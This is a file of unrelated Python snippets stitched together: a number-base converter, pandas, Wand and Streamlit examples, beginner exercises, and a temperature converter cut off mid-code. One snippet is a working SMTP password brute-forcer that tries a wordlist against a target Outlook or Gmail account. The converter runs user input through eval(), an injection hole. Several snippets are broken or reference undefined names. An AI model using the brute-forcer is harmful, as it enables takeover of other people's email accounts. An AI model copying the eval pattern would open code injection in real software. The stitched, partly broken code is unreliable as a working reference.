        elif requested_conversion[concurrent_bit] == 'b':
            decimal_num += 11 * (16 ** bit_power)
        elif requested_conversion[concurrent_bit] == 'c':
            decimal_num += 12 * (16 ** bit_power)
        elif requested_conversion[concurrent_bit] == 'd':
            decimal_num += 13 * (16 ** bit_power)
        elif requested_conversion[concurrent_bit] == 'e':
            decimal_num += 14 * (16 ** bit_power)
        elif requested_conversion[concurrent_bit] == 'f':
            decimal_num += 15 * (16 ** bit_power)
        else:
            decimal_num += int(digit) * (16 ** bit_power)
        concurrent_bit += 1
        bit_power += 1
    print(decimal_num)

# The function below is a copy of the original but for the purpose of the hex_to_string function.
def hex_to_decimal_special(requested_conversion):
    requested_conversion = requested_conversion[2:]
    requested_conversion = requested_conversion[::-1]
    concurrent_bit = 0
    bit_power = 0
    decimal_num = 0
    for digit in requested_conversion:
        if requested_conversion[concurrent_bit] == 'a':
            decimal_num += 10 * (16 ** bit_power)
        elif requested_conversion[concurrent_bit] == 'b':
            decimal_num += 11 * (16 ** bit_power)
        elif requested_conversion[concurrent_bit] == 'c':
            decimal_num += 12 * (16 ** bit_power)
        elif requested_conversion[concurrent_bit] == 'd':
            decimal_num += 13 * (16 ** bit_power)
        elif requested_conversion[concurrent_bit] == 'e':
            decimal_num += 14 * (16 ** bit_power)
        elif requested_conversion[concurrent_bit] == 'f':
            decimal_num += 15 * (16 ** bit_power)
        else:
            decimal_num += int(digit) * (16 ** bit_power)
        concurrent_bit += 1
        bit_power += 1
    return decimal_num
    
def hex_to_string(requested_conversion):
    requested_conversion = requested_conversion.split(" ")
    list_of_chars_in_string = []
    for char_hexa_set in requested_conversion:
        integer_char_code = chr(hex_to_decimal_special(char_hexa_set))
        list_of_chars_in_string.append(integer_char_code)
    print(*list_of_chars_in_string, sep="")

def hex_to_binary_decimalversion(requested_conversion):
    requested_conversion = requested_conversion[2:]
    concurrent_bit = 0
    list_of_binary_portions = []
    for digit in requested_conversion:
        if requested_conversion[concurrent_bit] == 'a':
            binary_translation = str(bin(10))
            binary_translation = binary_translation[2:]
            list_of_binary_portions.append(binary_translation)
        elif requested_conversion[concurrent_bit] == 'b':
            binary_translation = str(bin(11))
            binary_translation = binary_translation[2:]
            list_of_binary_portions.append(binary_translation)
        elif requested_conversion[concurrent_bit] == 'c':
            binary_translation = str(bin(12))
            binary_translation = binary_translation[2:]
            list_of_binary_portions.append(binary_translation)
        elif requested_conversion[concurrent_bit] == 'd':
            binary_translation = str(bin(13))
            binary_translation = binary_translation[2:]
            list_of_binary_portions.append(binary_translation)
        elif requested_conversion[concurrent_bit] == 'e':
            binary_translation = str(bin(14))
            binary_translation = binary_translation[2:]
            list_of_binary_portions.append(binary_translation)
        elif requested_conversion[concurrent_bit] == 'f':
            binary_translation = str(bin(15))
            binary_translation = binary_translation[2:]
            list_of_binary_portions.append(binary_translation)
        else:
            binary_translation = str(bin(int(digit)))
            binary_translation = binary_translation[2:]
            list_of_binary_portions.append(binary_translation)
        concurrent_bit += 1
    for portion_index in range(len(list_of_binary_portions)):
        if len(list_of_binary_portions[portion_index]) == 1:
            list_of_binary_portions[portion_index] = "000" + list_of_binary_portions[portion_index]
        elif len(list_of_binary_portions[portion_index]) == 2:
            list_of_binary_portions[portion_index] = "00" + list_of_binary_portions[portion_index]
        elif len(list_of_binary_portions[portion_index]) == 3:
            list_of_binary_portions[portion_index] = "0" + list_of_binary_portions[portion_index]
        else:
            list_of_binary_portions[portion_index] = list_of_binary_portions[portion_index]
    list_of_binary_portions.insert(0, "0b")
    print(*list_of_binary_portions, sep="")

# The function below is a copy of the original but for the purpose of the hex_to_binary_stringversion function.
def hex_to_binary_decimalversion_special(requested_conversion):
    requested_conversion = requested_conversion[2:]
    concurrent_bit = 0
    list_of_binary_portions = []
    for digit in requested_conversion:
        if requested_conversion[concurrent_bit] == 'a':
            binary_translation = str(bin(10))
            binary_translation = binary_translation[2:]
            list_of_binary_portions.append(binary_translation)
        elif requested_conversion[concurrent_bit] == 'b':
            binary_translation = str(bin(11))
            binary_translation = binary_translation[2:]
            list_of_binary_portions.append(binary_translation)
        elif requested_conversion[concurrent_bit] == 'c':
            binary_translation = str(bin(12))
            binary_translation = binary_translation[2:]
            list_of_binary_portions.append(binary_translation)
        elif requested_conversion[concurrent_bit] == 'd':
            binary_translation = str(bin(13))
            binary_translation = binary_translation[2:]
            list_of_binary_portions.append(binary_translation)
        elif requested_conversion[concurrent_bit] == 'e':
            binary_translation = str(bin(14))
            binary_translation = binary_translation[2:]
            list_of_binary_portions.append(binary_translation)
        elif requested_conversion[concurrent_bit] == 'f':
            binary_translation = str(bin(15))
            binary_translation = binary_translation[2:]
            list_of_binary_portions.append(binary_translation)
        else:
            binary_translation = str(bin(int(digit)))
            binary_translation = binary_translation[2:]
            list_of_binary_portions.append(binary_translation)
        concurrent_bit += 1
    for portion_index in range(len(list_of_binary_portions)):
        if len(list_of_binary_portions[portion_index]) == 1:
            list_of_binary_portions[portion_index] = "000" + list_of_binary_portions[portion_index]
        elif len(list_of_binary_portions[portion_index]) == 2:
            list_of_binary_portions[portion_index] = "00" + list_of_binary_portions[portion_index]
        elif len(list_of_binary_portions[portion_index]) == 3:
            list_of_binary_portions[portion_index] = "0" + list_of_binary_portions[portion_index]
        else:
            list_of_binary_portions[portion_index] = list_of_binary_portions[portion_index]
    list_of_binary_portions.insert(0, "0b")
    return "".join(list_of_binary_portions)

import math

def binary_to_hex_decimalversion(requested_conversion):
    requested_conversion = requested_conversion[2:]
    requested_conversion = requested_conversion[::-1]
    splitting_iterations = math.floor(len(requested_conversion) / 4)
    split_binary_product = []
    for split in range(splitting_iterations):
        split_binary_product.append(requested_conversion[:4])
        requested_conversion = requested_conversion[4:]
    if len(requested_conversion) > 0:
        split_binary_product.append(requested_conversion)
    index_of_product = 0
    for i in range(len(split_binary_product)):
        split_binary_product[index_of_product] = split_binary_product[index_of_product][::-1]
        index_of_product += 1
    split_binary_product.reverse()
    index_of_product = 0
    for i in range(len(split_binary_product)):
        binary_to_decimal_special(split_binary_product[index_of_product])
        index_of_product += 1
    index_of_product = 0
    split_hex_products = []
    for i in range(len(split_binary_product)):
        split_hex_products.append(int(split_binary_product[index_of_product], 2))
        index_of_product += 1
    
    for portion_num in range(len(split_hex_products)):
        if split_hex_products[portion_num] == 10:
            split_hex_products[portion_num] = 'a'
        elif split_hex_products[portion_num] == 11:
            split_hex_products[portion_num] = 'b'
        elif split_hex_products[portion_num] == 12:
            split_hex_products[portion_num] = 'c'
        elif split_hex_products[portion_num] == 13:
            split_hex_products[portion_num] = 'd'
        elif split_hex_products[portion_num] == 14:
            split_hex_products[portion_num] = 'e'
        elif split_hex_products[portion_num] == 15:
            split_hex_products[portion_num] = 'f'
        else:
            split_hex_products[portion_num] = split_hex_products[portion_num]
    split_hex_products.insert(0, '0x')
    print(*split_hex_products, sep="")
    
# The function below is a copy of the original but for the purpose of the binary_to_hex_stringversion function.
def binary_to_decimal_special_v2(requested_conversion):
    requested_conversion = requested_conversion[::-1]
    concurrent_bit = 0
    bit_power = 0
    decimal_num = 0
    for digit in requested_conversion:
        if requested_conversion[concurrent_bit] == '1':
            decimal_num += 2 ** bit_power
        else:
            decimal_num += 0
        concurrent_bit += 1
        bit_power += 1
    return decimal_num
    
# The function below is a copy of the original but for the purpose of the binary_to_hex_stringversion function.
def binary_to_hex_decimalversion_special(requested_conversion):
    requested_conversion = requested_conversion[2:]
    requested_conversion = requested_conversion[::-1]
    splitting_iterations = math.floor(len(requested_conversion) / 4)
    split_binary_product = []
    for split in range(splitting_iterations):
        split_binary_product.append(requested_conversion[:4])
        requested_conversion = requested_conversion[4:]
    if len(requested_conversion) > 0:
        split_binary_product.append(requested_conversion)
    index_of_product = 0
    for i in range(len(split_binary_product)):
        split_binary_product[index_of_product] = split_binary_product[index_of_product][::-1]
        index_of_product += 1
    split_binary_product.reverse()
    index_of_product = 0
    for i in range(len(split_binary_product)):
        binary_to_decimal_special_v2(split_binary_product[index_of_product])
        index_of_product += 1
    index_of_product = 0
    split_hex_products = []
    for i in range(len(split_binary_product)):
        split_hex_products.append(int(split_binary_product[index_of_product], 2))
        index_of_product += 1
    
    for portion_num in range(len(split_hex_products)):
        if split_hex_products[portion_num] == 10:
            split_hex_products[portion_num] = 'a'
        elif split_hex_products[portion_num] == 11:
            split_hex_products[portion_num] = 'b'
        elif split_hex_products[portion_num] == 12:
            split_hex_products[portion_num] = 'c'
        elif split_hex_products[portion_num] == 13:
            split_hex_products[portion_num] = 'd'
        elif split_hex_products[portion_num] == 14:
            split_hex_products[portion_num] = 'e'
        elif split_hex_products[portion_num] == 15:
            split_hex_products[portion_num] = 'f'
        else:
            split_hex_products[portion_num] = split_hex_products[portion_num]
    split_hex_products.insert(0, '0x')
    for product in range(len(split_hex_products)):
        split_hex_products[product] = str(split_hex_products[product])
    return "".join(split_hex_products)

def hex_to_binary_stringversion(requested_conversion):
    requested_conversion = requested_conversion.split(" ")
    list_of_chars_in_binary_string = []
    for char_hex_set in requested_conversion:
        binary_converted = hex_to_binary_decimalversion_special(char_hex_set)
        list_of_chars_in_binary_string.append(binary_converted)
    print(*list_of_chars_in_binary_string, sep=" ")

def binary_to_hex_stringversion(requested_conversion):
    requested_conversion = requested_conversion.split(" ")
    list_of_chars_in_hex_string = []
    for char_binary_set in requested_conversion:
        hex_converted = binary_to_hex_decimalversion_special(char_binary_set)
        list_of_chars_in_hex_string.append(hex_converted)
    print(*list_of_chars_in_hex_string, sep=" ")

import sys

def MainMenu():
    while True:
      print("Welcome to the compoooter decipherer. This program can meet all your needs regarding the languages of binary, hexadecimal, and regular decimal/string.\n\n")  
      
      print("""So, in terms of conversions, the following methods are available:\n
    string_to_binary → format exemplar: "Hi"
    decimal_to_binary → format exemplar: 10
    decimal_to_hex → format exemplar: 10
    string_to_hex → format exemplar: "Hi"
    binary_to_decimal → format exemplar: "0b1010"
    binary_to_string → format exemplar: "0b01001000 0b01101001"
    hex_to_decimal → format exemplar: "0xa"
    hex_to_string → format exemplar: "4869"
    hex_to_binary_decimalversion → format exemplar: "0xa"
    hex_to_binary_stringversion → format exemplar: "4869"
    binary_to_hex_decimalversion → format exemplar: "0b1010"
    binary_to_hex_stringversion → format exemplar: "0b01001000 0b01101001"\n""")

      print("\nMake sure to go through all of these, and figure out which ones you want to use. In the exemplars, any time a number is involved in conversion, it is the number '10'. Any time a string is involved in conversion, it is the string 'Hi'. So, let's get to converting!\n\n")

      print("_"*10 + "\n\n")
        
      UseConversion()
        
      print("_"*10 + "\n")
      confirmation = str(input("Would you like to perform another conversion?\n\nType 'Y' for if you would like to go back to the menu, or 'N' if you want to terminate the program: "))
      if confirmation.upper() == 'Y':
          print("\nOkay! Redirecting you back to the beginning.\n\n")
          continue
      elif confirmation.upper() == 'N':
          print("\nOkay! Terminating the program.")
          sys.exit()
      else:
        print("\nInvalid input given. Terminating program anyway.")
        sys.exit()

def UseConversion():
    method = str(input("Above was given a list of the different conversion functions which are usable. So, what method would you like to use?\n\nType the function exactly how it said in the list here:\n\n"))
    print("")
    parameters = str(input("All right, so what are you wanting to convert? Type your conversion request in the appropriate format needed here:\n\n"))
    try:
      print("\nVery well then. The conversion has been performed, and your converted request should be below (if it succeeded):\n")
      eval(method + "(" + parameters + ")")
      print("\n\nGo ahead and use that for whatever you need to. Or, use the converter again with this converted product to convert it to something else!\n")
    except NameError:
      print("\nIt seems you spelt the name of the function incorrectly. Go back to the list above, and type out the function you want to use exactly.\n\n")
      UseConversion()
    except TypeError:
      print("\nIt seems you provided an incorrect input to the conversion. Make sure you are providing the exact format you specified with the function you are trying to use. Also, please go back and refer to the format exemplars in the list above to see how each input for each function should be formatted.\n\n")
      UseConversion()

# Run the program
MainMenu()


# Program that generates a random number:
# Use it to flex or test the limits.
"""import random

num_of_digits = int(input())
randomly_generated_num = []

for iteration in range(num_of_digits+1):
    randomly_generated_num.append(random.randint(0, 9))

print(*randomly_generated_num, sep="")"""
def parsed_df(**kwargs):
    # First define the format and then define the function
    timeFormat = "%Y-%m-%d %H:%M:%S UTC"
    # This function will iterate over each string in a 1-d array
    # and use Pandas' implementation of strptime to convert the string into a datetime object.
    parseTime = lambda x: datetime.strptime(x, timeFormat)
    return pd.read_csv('/path/to/file.csv',parse_dates=['time'], date_parser=parseTime).set_index('time') 
import plotly.express as px
import pandas as pd

# Sample DataFrame with three columns: "INSTANCE", "YMD", and "target_count"
df = pd.DataFrame({
    "INSTANCE": ["A", "B", "C", "D", "E"],
    "YMD": ["2021-01-01", "2021-01-02", "2021-01-03", "2021-01-04", "2021-01-05"],
    "target_count": [10, 20, 30, 40, 50]
})
df["YMD"] = pd.to_datetime(df["YMD"])

# Create a new column "weekend" to indicate whether the date is on a weekend
df["weekend"] = df["YMD"].dt.dayofweek >= 5

# Create the bar graph
fig = px.bar(df, x="INSTANCE", y="target_count", color="weekend")

# Show the graph
fig.show()
# variation of https://python-forum.io/thread-21314.html

table = soup.find_all('table')[2]		# we receive a list of tables
table_body = table.find('tbody')

data = [] 
rows = table_body.find_all('tr')
for row in rows:
    cols = row.find_all(['td', 'th'])	# consider rows AND headers 
    cols = [ele for ele in cols]		# get html tags, not .text 
    data.append([ele for ele in cols if ele])

# directly via pandas
import pandas as pd
dfs = pd.read_html(content[1]['body'])				#list of
dfs[0].columns = ['key', 'value']					# set column names
dfs[0]#[dfs[0].key == 'Status'].iloc[0]['value']	# read cell value
#!/usr/bin/python
# Dyrk.org 2016-2017

import smtplib

# Outlook.com
smtp_s   = 'smtp-mail.outlook.com'

# Gmail
# smtp_s = 'smtp.gmail.com'

smtp_p = 587
sender = 'target_adress@hotmail.com'
dico   = 'pwdlist.txt'

with open(dico) as f:
    for password in f:
        password = password.replace('\n', '')
        try:
            m = smtplib.SMTP(smtp_s, smtp_p)
            m.ehlo()
            m.starttls()
            m.login(sender, password)
            print '[OK] => ' + sender + ' : ' + password
            m.close()
            exit()
        except smtplib.SMTPAuthenticationError, e:
            if e[0] == 534:  # Gmail
                print '[OK] => ' + sender + ' : ' + password
                print e
                exit()
            else:
                print 'try ' + password + ' .... err. ' + str(e[0]) \
                    + '   >>>  ' + e[1]

			
def check_permission(user):
    def decorator(func):
        def wrapper(*args, **kwargs):
            if user["access_level"] == "admin":
                return func(*args, **kwargs)

            raise Exception("No way!!!")

        return wrapper

    return decorator


user = {"username": "jose", "access_level": "admin"}


@check_permission(user)
def get_admin_pass():
    return "1234"


print(get_admin_pass())
from wand.image import Image
import numpy as np
import cv2

with Image(filename='zelda1.jpg') as img:
    img.virtual_pixel = 'black'
    img.implode(0.5)
    img.save(filename='zelda1_implode.jpg')
    # convert to opencv/numpy array format
    img_implode_opencv = np.array(img)
    img_implode_opencv = cv2.cvtColor(img_implode_opencv, cv2.COLOR_RGB2BGR)

with Image(filename='zelda1.jpg') as img:
    img.virtual_pixel = 'black'
    img.implode(-0.5 )
    img.save(filename='zelda1_explode.jpg')
    # convert to opencv/numpy array format
    img_explode_opencv = np.array(img)
    img_explode_opencv = cv2.cvtColor(img_explode_opencv, cv2.COLOR_RGB2BGR)

# display result with opencv
cv2.imshow("IMPLODE", img_implode_opencv)
cv2.imshow("EXPLODE", img_explode_opencv)
cv2.waitKey(0)
# Import library from Image
from wand.image import Image
 
# Import the image
with Image(filename ='../geeksforgeeks.png') as image:
    # Clone the image in order to process
    with image.clone() as posterize:
        # Invoke posterize function
        posterize.posterize(2, 'no')
        # Save the image
        posterize.save(filename ='posterize1.jpg')
from wand.image import Image
from wand.api import library

with Image(filename='wizard:') as img:
    # Grab image size
    cols, rows = img.size
    # Define our target location ... say 1/3rd, by 1/5th
    tx, ty = int(cols * 0.33), int(rows * 0.2)
    # Find middle of the image.
    mx, my = cols // 2, rows // 2
    # Roll target coord into middle
    ok = library.MagickRollImage(img.wand, mx-tx, my-ty)
    if not ok:
        img.raise_exception()
    # Implode
    img.implode(0.5)
    # Roll middle back into place.
    ok = library.MagickRollImage(img.wand, mx+tx, my+ty)
    if not ok:
        img.raise_exception()
    # done
    img.save(filename='output.png')
# problem5:
# store a number as a password:
# list must be outside the loop:
import time
guesses = []
password= '0000'
while True:
    # to exit the program
    try:
        # Take user input:
        gussed = input("Gusse a password that consists from 4 numbers:  ")
        # convert to string:
        gussed = str(gussed)

        # conditions: 
        if gussed == password:
            print("Password correct!")
            # leave the loop
            break

        else:
            print("Password incorrect")
            guesses.append(gussed)
            if len(guesses)>3:
                print("You are banned because spamming, please try again after 3s. ")
                guesses = []
                time.sleep(3)
            else:
                guesses.append(gussed)

            
        print(guesses)
        #guesses.append(gussed)
        


    except KeyboardInterrupt:
        print("exist")
# problem 6:
"""
Write a program that:

Asks the user to input two different numbers and stores them in two variables
Outputs the biggest number entered

"""
while True:
    try:
        num1=input("Please enter the first number: ")
        num2=input("Please enter the scond number:")
        num1=int(num1)
        num2=int(num2)
        if num1 == num2:
            print("Please write different values>")

        else:
            if num1>num2:
                print(num1)
                break
            elif num2>num1:
                print(num2)
                break
        
    except ValueError:
        print("Conversion faild")
from dataclasses import dataclass, InitVar
from typing import Optional

@dataclass
class CampingEquipment:
    knife: bool
    fork: bool
    missing_flask_size: InitVar[Optional[int]] = None

    def __post_init__(self, missing_flask_size):
        if missing_flask_size is not None:
            self.missing_flask_size = missing_flask_size
""" Look for duplicate materials and let user choose between 2 pulled values from the same material

    Arguments:
       pandas_database {pandas object} -- original items database, pandas
       selected_material {string} -- selected items from dropdown input
       readable_excel_database {Excel object} -- Excel object to be able to read from Excel sheet
       data_column {string} -- column name to extract value for selected item

    Returns:
       list -- return list of extracted values from Excel
"""
    
# find the "duplicate" items
item_matches_indices = [j for j, x in enumerate(list(pandas_database[0])) if x == selected_item]

# extract and save the respective values
matched_items_values = []
for index in material_matches_indices:
   matched_items_values.append(readable_excel_database[data_column][index])
import streamlit as st

# Create item
custom_item = form_cols[1].text_input(label="Custom item")
custom_item_submit = form_cols[1].button("Add to database", key="new_item_input_case_" + str(case_n) + "_layer_" + str(index))
    
# if saving the custom item
if custom_material_submit:
   st.session_state["custom_items_database_active"].insert_rows(idx=2)       # add a new row before inserting custom item
   st.session_state["custom_items_database_active"].cell(row=2, column=1, value=custom_item)       # insert custom item into new row (INSERT AND ROW SHOULD BE SAME VALUE)
   
   st.session_state["custom_materials_database_write"].save("/path/to/Excel.xlsx")       # save the file to reflect the changes next time the database is loaded
   # get_custom_database()

   # TODO make global function?  Attempt to show changes after adding
   # custom_item_panda = pd.DataFrame([custom_item])    # to see the changes get reflected in the form
   # all_custom_item = custom_item_panda.append(all_item_list_pandas, ignore_index=True)
   # materials_choices = customization_choices.append(all_custom_materials, ignore_index=True)

   form_cols[1].write("\"" + str(custom_item) + "\" has been added to the database.  Please select a different item to see the changes")



# Edit item
# First check if selected material is custom-made or not
if orig_material_name in st.session_state["orig_item_prefill_index"]:
   form_cols[1].info("Sorry, you can only change custom-made items.")
elif orig_material_name in st.session_state["custom_item_prefill_index"]:
   to_change = form_cols[1].text_input(label="Edit material name", value=orig_item_name)

   if form_cols[1].button("Save changes"):
         st.session_state["custom_item_database_active"].cell(row=st.session_state["custom_item_prefill_index"][orig_item_name]+2, column=1, value=to_change)
      st.session_state["custom_item_database_write"].save(st.session_state["custom_database_path"])
            form_cols[1].info("\"" + to_change + "\" has been saved to the database.  Please select a different item to see the changes reflect.")

      # TODO push new changes to form for immediate change view
      #         item_table_pandas = pd.DataFrame(item_table_active.values)
      #         custom_item_list = customize_options.append(item_table_pandas, ignore_index=True)
import openpyxl
import string

ses["writeable_excel"] = openpyxl.load_workbook("/path/to/Excel.xlsx")
ses["writeable_excel_active"] = ses["writeable_excel"].active

col1 = "Column 1"
col3 = "Column 3"
col6 = "Column 6"

excel_cols = list(string.ascii_uppercase)
database_cols = [col1, col3, col6]

# If copying col names fr a different Excel, make sure they are up-to-date
for col in range(0, len(database_cols)):
   ses["writeable_excel_active"][excel_cols[col] + str(1)].value = database_cols[col]	# .strip(), if some cells have whitespace, take it out so that it'll show as NaN

ses["writeable_excel"].save("/path/to/Excel.xlsx")
ses["writeable_excel_read"] = pd.read_excel("/path/to/Excel.xlsx", engine="openpyxl")   # read written Excel
import streamlit as st

# Function to create a slider with an edit bar. The name of the slider must be unique on the page.
def createSliderWithEdit(container, initialValue, sliderName):
    val = initialValue

    # session_state is a global object, associated with streamlit, not with the container
    if sliderName in st.session_state:
        val = st.session_state[sliderName]
    nb = container.number_input(label=sliderName, value=val)

    # When you add a Key to the slider it will automatically create a session state associated with it.
    v = container.number_input(label='', value=nb, key=sliderName)
    # v = container.slider(label='', value=nb, key=sliderName)

createSliderWithEdit(st, 0, 'MyFavoriteInput')
createSliderWithEdit(st, 0, 'MySecondFavoriteInput')

col1, col2 = st.columns(2)

createSliderWithEdit(col1, 0, 'FirstInputInAColumn')
createSliderWithEdit(col2, 0, 'SecondInputInAColumn')
import streamlit as st



#app.py
import streamlit as st
import multipage_streamlit as mt
import page_1, page_2, page_3_args

st.write("Main page")
num_pages = 3
# pages = ["Page 1", "Page 2"]
pages = []
for i in range(1, num_pages + 1):
    pages.append("Page 3_" + str(i))
pages.insert(0, "Page 1")
pages.insert(1, "Page 2")


# Nav radios
page = st.radio(label="Welcome, please select a calculator:", options=pages, horizontal=True)
# st.write('<style>div.row-widget.stRadio > div{flex-direction:row;}</style>', unsafe_allow_html=True)
# st.markdown("---")

app = mt.MultiPage()
# app.add("Page a1", page_1.app)  # no parentheses or else it will run!
# app.add("Page b2", page_2.app)  # ^ditto
for i in range(1, num_pages+1):
    app.add("Page 3." + str(i), page_3_args.app)
# app.add("Page 1", page_1.app)
# app.add("Page 2", page_2.app)

# app.run_selectbox()

# Nav between case pages
if page == pages[0]: page_1.app()
elif page == pages[1]: page_2.app()
elif page == pages[2]: page_3_args.app(1)
elif page == pages[3]: page_3_args.app(2)
elif page == pages[4]: page_3_args.app(3)

# Session states
st.write(st.session_state)
# st.write(st.session_state["_state_"])
# st.write(st.session_state["_state_"]["page_1:x"])
# st.write(st.session_state["_state_"].keys())
# st.write(st.session_state["_state_"].values())



# page_1.py
import streamlit as st
from multipage_streamlit import State
# import page_1, page_2

def app():
    # state = State("sharing")
    # state = State(__name__)
    
    st.header("Page 1")

    # # if "page_1" not in st.session_state:
    # #     st.session_state["page_1"] = 9

    # # p1_text = st.number_input(label="Sharing state", value=st.session_state["page_1"], key="page_1")
    # p1_text = st.number_input(label="Sharing state", key=state("x", 9))
    # st.write(st.session_state[__name__ + ":x"])
    # st.number_input(label="Testing state", value=st.session_state[__name__ + ":x"])
    # # st.number_input(label="Testing state", key=st.session_state["_state_"][__name__ + ":x"])
    # st.write("\_state_")
    # # st.number_input(label="Testing state", value=st.session_state[__name__ + ":x"], key=state("x", 3))
    
    st.number_input(label="Testing shared state across pages page 1", key="testing")

    # # st.write(st.session_state["page_1"])
    # # st.write(st.session_state["page_2"])
    
    # state.save()

    return



# page_2.py
import streamlit as st
from multipage_streamlit import State

def app():
    # state = State("sharing")
    # state = State(__name__)
    
    st.header("Page 2")

    # # p1_text = st.number_input(label="Sharing state", value=st.session_state["page_1"], key="page_1")
    # p2_text = st.number_input(label="Indiv state", key=state("x", 1))
    # # p1_text = st.number_input(label="Sharing state", key=st.session_state[["_state_"]["page_1:x"]])
    
    # # st.write(__name__ + ":x")
    # # st.write(st.session_state[__name__ + ":x"])
    # # st.write(st.session_state)
    # st.write(state("x", 1))

    # # st.write(st.session_state["page_1"])
    
    st.number_input(label="Testing shared state across pages page 2", key="testing")


    # # if "page_2" not in st.session_state:
    # #     st.session_state["page_2"] = 12

    # # p2_text = st.number_input(label="Own state", value=st.session_state["page_2"], key="page_2")

    # # st.write(st.session_state["page_2"])
    
    # state.save()

    return



import streamlit as st
from multipage_streamlit import State

def app(case_x):
    state = State(__name__)
    
    st.header("Page 3")

    p3_text = st.number_input(label="Indiv state", key=state(str(case_x), 20 + case_x))
    p3_selbox = st.selectbox(label="Indiv state", options=[21, 22, 23], key=state(str(case_x) + "_select", 20 + case_x))
    
    state.save()

    return
def generate_digit_power_sequence(start,limit):
    # step1: Validate the provided parameter values
    if type(start)==int:
        pass
    else:
        return None
    if type (limit)== int:
        pass
    else:
        return None

    if not(100 <=start<=999):
        return None
    if not (limit>5):
        return None
    # step2: Generate the specified sequence
    # step3: return the generated sequence

    sequence = []
    cubic = 0
    start = str(start)
    for j in (limit):
        cubic = 0
        for i in (start):
            # define a new variable
            value = int(i)
            cubic=value**3 + cubic
        
        start = str(cubic)
        sequence.append(cubic)
    
    return sequence
generate_digit_power_sequence(213,6)
# generate a function:
def generate_cubed_sequence():
    # Step 1: Obtain and Validate Inputs
    # I should put the loop at the beginning of the code
    while True:
        # define the variable inside the loop itself
        maxValue = input("Enter an integer that represents the max value: ")
        try:
            # if the conversion succseed, check if the value >=1
            maxValue = int(maxValue)
            if maxValue>=1:
                print(f"Generating sequence with max value {maxValue}")
                # if everything follows all conditions and I want to leave the loop
                break
            # if conversion succeed but value<1:
            else: 
                print("Invalid Input")
        except ValueError:
            print("Invalid Input")
            pass
    # Step2: Generate the sequence 
    sequence = []
    x =1
    cubed = x**3

    while cubed <= maxValue:
        sequence.append(cubed)
        x+=1
        cubed=x**3
    return sequence
print(generate_cubed_sequence()) 
def generate_magic_sequence(start,increment,limit):
    # 1. validation:
    # Start:
    try:
        start = int(str(start))
        if not(start>=1):
            print("start ia not in range")
            return None
        print("Good start value.")
            
    except ValueError:
        # To understand what's going on
        print("conversion faild")
        return None
    
    
        
    # increment:
    try:
        increment = int(str(increment))
        if not(1<= increment <= 10):
            # To understand what's going on
            print("increment is not in range")
            return None
        print("Good increment value")
            
    except ValueError:
        # To understand what's going on
        print("conversion faild")
        return None
    
         
    # limit:
    try:
        limit = int(str(limit))
        if limit<=3 or limit >=99:
            print("limit is not in range")
            return None
        print("Good limit value")
        
    except ValueError:
        print("Conversion faild")
        return None
    
         
    # 2. Generate a sequence:
    sequence = []
    # create the first value here!
    sequence.append(start**5)

    # create a loop within a certaian condition:
    while len(sequence) < limit:
        # define a variable that contains the new values
        # last digit: (sequence[-1])[-1]
        nextValue = (int(str(sequence[-1])[-1])+increment)**5
        #nextValue= (int(str(sequence[-1])[-1] + increment))**5
        sequence.append(nextValue)
    return sequence

result = generate_magic_sequence(3,2,4)

print(result)
# Task1
def main():
    #thisfunction will allow the user to choose which function to run:
    # 1. print options out:
    print("Options: ")
    print("Temperature = convert between two different temperature units")
    print("Length = convert between two different length units")
    print("Mass = convert between two different mass units")
    print("Area = convert between two different area units")
    option = input("Select an option or control C to exit the program: ")
    option=option.lower()
    # to allow user repeat:
    while True:
        # to allow user to quit:
        try: 

            if option == 'temperature':
                temperature_convert()
            elif option == 'length':
                length_convert()
            elif option == 'mass':
                mass_convert()
            elif option=='area':
                area_convrt()
            else:
                print('Invalid Inputs')
        except KeyboardInterrupt:
            print("\nExiting program\n")
        break


def temperature_convert():
    #temperature = ['Kelvin', 'Celsius','Fahrenheit', 'Rankine', 'Delisle']
    validUnit=['C', 'K', 'F', 'R','D']
    temperature = {'K':'Kelvin','C':'Celsius','F':'Fahrenheit','R':'Rankine',  'D':'Delisle'}
    # print(temperature)
    # print(validUnit)
    convertFrom = input("Enter unit to convert from (C = Celcius, K = Kelvin, F = Fahrenheit, R = Rankine, D = Delisle): ")
    converTo = input("Enter unit to convert to (C = Celcius, K = Kelvin, F = Fahrenheit, R = Rankine, D = Delisle): ")
    value = input("Enter temperature value to convert: ")
    while True:
        try:
            convertFrom = str(convertFrom)
            converTo = str(converTo)
            value = float(value)
            convertFrom = convertFrom.upper()
            converTo = converTo.upper()
            if convertFrom not in validUnit or converTo not in validUnit:
                print("Invalid Unit! ")
            else: 
                break
        except ValueError:
            print("Conversion faild")
        """
                # From Kelvin:
        if convertFrom == 'Kelvin' and converTo == 'Celsius':
            newValue = value-273.15
            print(f"Temperature converted from {temperature[0]}K to {temperature[1]}°C is {round(newValue,2)}°C")
        elif convertFrom == 'Kelvin' and converTo == 'Fahrenheit':
            newValue= (((value-273.15)**9)/5)+32
            print(f"Temperature converted from {temperature[0]}K to {temperature[2]}°F is {round(newValue,2)}°F")
        elif convertFrom == 'Kelvin' and converTo =='Rankine':
            newValue = (value*9)/5
            print(f"Temperature converted from {temperature[0]}K to {temperature[3]}°R is {round(newValue,2)}°R")
        elif convertFrom == 'Kelvin' and converTo =='Delisle':
            newValue = ((373.15 - value)*3)/2
            print(f"Temperature converted from {temperature[0]}K to {temperature[4]}°D is {round(newValue,2)}°D")


        # From Celsius 
        
        elif convertFrom =='Celsius' and converTo=='Kelvin':
            newValue= value+273.15
            print(f"Temperature converted from {temperature[1]}°C to {temperature[0]}K is {round(newValue,2)}K")
        elif convertFrom == 'Celsius' and converTo == 'Fahrenheit':
            newValue = (value*9/5)+3**2
            print(f"Temperature converted from {temperature[1]}°C to {temperature[2]}°F is {round(newValue,2)}°F")
        elif convertFrom == 'Celsius' and converTo =='Rankine':
            newValue = (value*9/5)+491.67
            print(f"Temperature converted from {temperature[1]}°C to {temperature[3]}°R is {round(newValue,2)}°R")
        elif convertFrom == 'Celsius' and converTo == temperature[4]:
            newValue = ((100-value)*3)/2
            print(f"Temperature converted from {temperature[1]}°C to {temperature[4]}°D  is {round(newValue,2)}°D ")
        
        # from Fahrenheit:
        elif convertFrom == temperature [2] and converTo =='Kelvin':
            newValue = (value+459.67)*5/9
            print(f"Temperature converted from {temperature[1]}°F to {temperature[0]}K  is {round(newValue,2)}K")
        elif convertFrom == temperature [2] and converTo =='Celsius':
            newValue = (value -32)*5/9
            print(f"Temperature converted from {temperature[1]}°F to {temperature[1]}°C  is {round(newValue,2)}°C ")
        elif convertFrom == temperature [2] and converTo =='Rankine':
            newValue = value + 459.67
